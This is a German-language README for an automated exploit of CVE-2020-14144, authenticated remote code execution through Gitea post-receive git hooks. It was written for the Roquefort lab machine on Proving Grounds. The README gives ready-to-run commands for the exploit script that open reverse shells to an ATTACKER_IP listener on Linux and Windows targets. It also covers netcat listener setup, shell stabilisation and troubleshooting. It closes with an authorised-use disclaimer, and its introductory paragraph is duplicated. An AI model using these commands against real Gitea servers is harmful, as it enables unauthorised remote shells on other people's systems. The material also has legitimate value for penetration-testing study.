
Gitea Versionen 1.1.0 → 1.12.5 erlauben authentifizierten Benutzern mit der Berechtigung "May create git hooks", beliebige Shell-Befehle in Post-Receive-Hooks einzuschleusen. Das Pushen eines Commits löst den Hook aus und führt die Nutzlast auf dem Server aus.
| Element | Detail |
|---|
| Maschine | Roquefort (Proving Grounds Practice) |
| Betriebssystem | Linux |
| Gitea Version | 1.7.5 |
| CVE | CVE-2020-14144 |
| Vektor | Authentifiziertes RCE via Git Hooks |
| Benutzer-Shell | chloe |
Gitea-Versionen 1.1.0 → 1.12.5 erlauben authentifizierten Benutzern mit der Berechtigung "Git Hooks erstellen", beliebige Shell-Befehle in post-receive-Hooks einzuschleusen. Das Pushen eines Commits löst den Hook aus und führt die Payload auf dem Server aus.
# Linux target — reverse shell
python3 exploit.py -t http://TARGET:3000 -u test -p password123 -I ATTACKER_IP -P 4444 --os linux
# Windows target — PowerShell reverse shell
python3 exploit.py -t http://TARGET:3000 -u test -p password123 -I ATTACKER_IP -P 4444 --os windows
Siehe MANUAL.md für eine Schritt-für-Schritt-Ausnutzungsanleitung.
.
├── README.md # This file
├── MANUAL.md # Manual exploitation guide (Linux + Windows)
└── exploit.py # Automated exploit script
requests Bibliothek (pip install requests)git auf dem Angreifer-Rechner installiertusage: exploit.py [-h] -t TARGET -u USERNAME -p PASSWORD -I REV_IP -P REV_PORT
[--os {linux,windows}] [--repo REPO] [-f PAYLOAD_FILE] [-v]
Roquefort — Gitea authentifiziertes RCE via Git Hooks (CVE-2020-14144)
erforderliche Argumente:
-t, --target Ziel-Gitea-URL (z.B. http://192.168.x.x:3000)
-u, --username Gitea-Benutzername
-p, --password Gitea-Passwort
-I, --rev-ip Angreifer-Listener-IP
-P, --rev-port Angreifer-Listener-Port
optionale Argumente:
--os Ziel-Betriebssystem: linux (Standard) oder windows
--repo Name des zu erstellenden Repositorys (Standard: exploit)
-f, --payload-file Benutzerdefinierte Shell-Skript-Payload-Datei
-v, --verbose Ausführliche Ausgabe
# 1) Start listener
nc -lvnp 4444
# 2) Run exploit (Linux target)
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
-I 192.168.45.168 -P 4444
# 3) Run exploit (Windows target)
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
-I 192.168.45.168 -P 4444 --os windows
# 4) Custom payload file
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
-I 192.168.45.168 -P 4444 -f payload.sh
Nach der Annahme der Reverse-Shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg
| Problem | Lösung |
|---|---|
fatal: dubious ownership | Klone von ~ anstatt von freigegebenen Ordnern, oder führe git config --global --add safe.directory '*' aus |
| Keine Verbindung empfangen | Überprüfe Angreifer-IP, Firewall, bestätige beide Maschinen im selben Subnetz |
| Hook feuert, aber keine Shell | Teste zuerst mit touch /tmp/pwned-Payload — wenn die Datei erscheint, wird die Reverse-Shell blockiert |
| Zugriff auf Hooks verweigert | Benutzer hat keine Hook-Berechtigungen — benötigt Admin- oder 'Git Hooks erstellen'-Berechtigung |
| Portkonflikt auf 3000 | Gitea verwendet 3000 — verwende einen anderen Port wie 4444 für deinen Listener |
Dieses Tool ist ausschließlich für autorisierte Penetrationstests und zu Bildungszwecken bestimmt. Unbefugter Zugriff auf Computersysteme ist illegal. Verwenden Sie es verantwortungsbewusst.